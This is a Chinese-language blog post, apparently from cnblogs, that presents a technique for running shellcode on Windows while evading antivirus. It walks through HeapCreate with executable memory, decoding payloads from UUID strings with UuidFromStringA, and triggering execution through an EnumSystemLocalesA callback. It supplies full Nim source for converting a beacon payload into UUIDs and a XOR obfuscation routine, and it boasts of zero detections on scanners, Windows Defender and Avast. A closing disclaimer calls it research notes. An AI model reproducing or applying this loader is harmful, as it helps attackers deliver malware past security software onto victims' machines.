nim-lang: UUID shellcode execution(過所有殺軟)
Nim(最初叫 Nimrod)是一門命令式靜態類型編程語言,可以被編譯成 C 或 JavaScript。它是開源的,維護很活躍,還結合了來自成熟語言(如Python,Ada和Modula)的成功概念。
Nim具有高效性,生成的執行文件小,編譯器支持所有平台,非常適合嵌入式硬實時系統,支持各種后端編譯等等,Nim強大的宏系統和獨立性,接下來將介紹如何利用Nim結合一些未被大規模濫用的winapi進行免殺。
過程分析
第一步,創建並分配堆內存
HANDLE HeapCreate(
DWORD flOptions,
SIZE_T dwInitialSize,
SIZE_T dwMaximumSize
);
HeapCreate 函數原型如上,在這里第一個參數必須是“HEAP_CREATE_ENABLE_EXECUTE”,否則當我們試圖在來自堆的內存塊中執行代碼時,系統會拋出EXCEPTION_ACCESS_VIOLATION異常。其他兩個參數設置為0即可,其中dwMaximumSize為0,表示堆內存大小是可增長的,其大小僅受限於系統可用內存大小。
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
接下來,使用 HeapAlloc 函數在剛創建的堆上分配內存。本次測試用 dwBytes為 0x100000,也就是申請了 1MB大小的內存。
第二步,將shellcode植入堆內存
這里使用了 UuidFromStringA 函數。
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
首先,我們使用 UuidToStringA 函數將 shellcode 轉成 string UUID,運行時再使用 UuidFromStringA 將其提出來放入上一步分配的堆內存。具體怎么實現往下看。
第三步,觸發執行
這里用到 EnumSystemLocalesA 函數,原型如上圖。關於通過函數回調執行shellcode,我在之前兩篇文章中有提到:
Shellcode Injection via Callbacks
在這里通過 lpLocaleEnumProc 參數指定回調函數,能達到類似效果的函數還有很多。
將 bytes 轉成 string UUID
python 版本
使用python實現比較簡單,如下將 shellcode bytes 轉成 string GUID。
完整代碼:https://github.com/ChoiSG/UuidShellcodeExec/blob/main/shellcodeToUUID.py
nim-lang版本
這里用到 UuidToStringA 函數,此函數的作用是將 binary UUID 轉成 string UUID。
RPC_STATUS UuidToStringA(
const UUID *Uuid,
RPC_CSTR *StringUuid
);
那么怎么將 bytes 轉成 binary UUID呢。
var uid: UUID
var shellcode = "\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF"
copyMem(addr uid, addr shellcode[0], len(shellcode))
echo type(uid)
echo uid
以上代碼輸出:
GUID
(Data1: 527731695, Data2: 18460, Data3: 65025, Data4: [139, 52, 174, 72, 1, 247, 153, 255])
UUID是一個由4個連字號(-)將32個字節長的字符串分隔后生成的字符串,總共36個字節長。比如:550e8400-e29b-41d4-a716-446655440000。GUID 是微軟對UUID這個標准的實現。UUID是由開放軟件基金會(OSF)定義的。UUID還有其它各種實現,不止GUID一種。
在winim模塊中也可見其定義:
完整代碼如下
編譯:nim c convertToUUID.nim
使用:convertToUUID.exe beacon.bin
生成的 string UUID 會保持到當前目錄下 uuid.txt 文件中。
#[
Author: StudyCat
Blog: https://www.cnblogs.com/studycat
Github: https://github.com/StudyCat404/myNimExamples
References:
- https://github.com/ChoiSG/UuidShellcodeExec/blob/main/shellcodeToUUID.py
]#
import winim
import os
proc convertToUUID(shellcode: var seq[byte]) =
var
fileName = "uuid.txt"
outFile: File
outFile = open(fileName, fmAppend)
if len(shellcode) div 16 != 0 :
for i in 1..(16 - (len(shellcode) mod 16)):
shellcode.add(0x00)
else:
echo "test"
for i in 0..(len(shellcode) div 16 - 1):
var
s = i*16
e = s+15
buf = shellcode[s..e]
uid: UUID
uidStr: RPC_CSTR
line = ""
copyMem(addr uid, addr buf[0], len(buf))
UuidToStringA(addr uid, addr uidStr)
line = "\"" & $uidStr & "\","
outFile.writeLine(line)
outFile.close()
proc convertToUUID(fileName: string) =
if fileExists(fileName):
echo "Convert ", fileName, " to string UUID"
echo "Output file: uuid.txt"
var f: File
f = open(fileName,fmRead)
var fileSize = f.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard readBytes(f,shellcode,0,fileSize)
convertToUUID(shellcode)
f.close()
else:
echo "The system cannot find the file specified."
proc help() =
let pathSplit = splitPath(paramStr(0))
echo "Usage:"
echo "\t", pathSplit.tail, " filename"
when defined(windows):
when isMainModule:
if paramCount() > 0:
var p1 = paramStr(1)
if p1 in ["/?","-h","--help"]:
help()
else:
convertToUUID(p1)
else:
help()
武器化
在這方面 @byt3bl33d3r 已經走在前面了,uuid_exec_bin.nim 以下是免殺測試結果。你會發現 50 個殺軟僅有1個識別出有問題(見“virscan掃描結果I”),但我想要的是全綠。所以決定對 string UUID進行加密,這里使用異或進行測試(最終全綠,見“virscan掃描結果 II”)。
異或加密
proc gkkaekgaEE(s: string, key: int): string {.noinline.} =
# We need {.noinline.} here because otherwise C compiler
# aggresively inlines this procedure for EACH string which results
# in more assembly instructions
var k = key
result = string(s)
for i in 0 ..< result.len:
for f in [0, 8, 16, 24]:
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
k = k +% 1
當把樣本上傳virscan或者virustotal掃描的時候,就意味着很快就難逃殺軟了,本着學習的心態還是可以的。
本文章所有代碼可見:https://github.com/StudyCat404/uuid_exec_shellcode
免殺測試
virscan掃描結果 I
Scanner results:2%Antivirus software(1/50)found malware!
唯一被殺的是一款來自奧地利的殺軟 ikarus,提示是“Virus.Win32.Meterpreter”,可能是 shellcode 沒有做加密的緣故。
掃描結果:https://r.virscan.org/language/en/report/2ed921b27767d89806ae45fb3c1fc78b
virscan掃描結果 II
掃描結果:https://tinyurl.com/j6khk3f4
本地測試
本地測試 windows defender 和 AVAST 均通過。
免責聲明
本文中提到並不是什么新技術,僅是處於個人愛好的研究筆記,文中使用到的代碼都是公開的,網上可以找到。文中提供程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,用戶將其信息做其他用途,由用戶承擔全部法律及連帶責任。
引用
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
https://github.com/ChoiSG/UuidShellcodeExec
http://ropgadget.com/posts/abusing_win_functions.html
https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/uuid_exec_bin.nim
From: https://www.cnblogs.com/StudyCat/p/14765971.html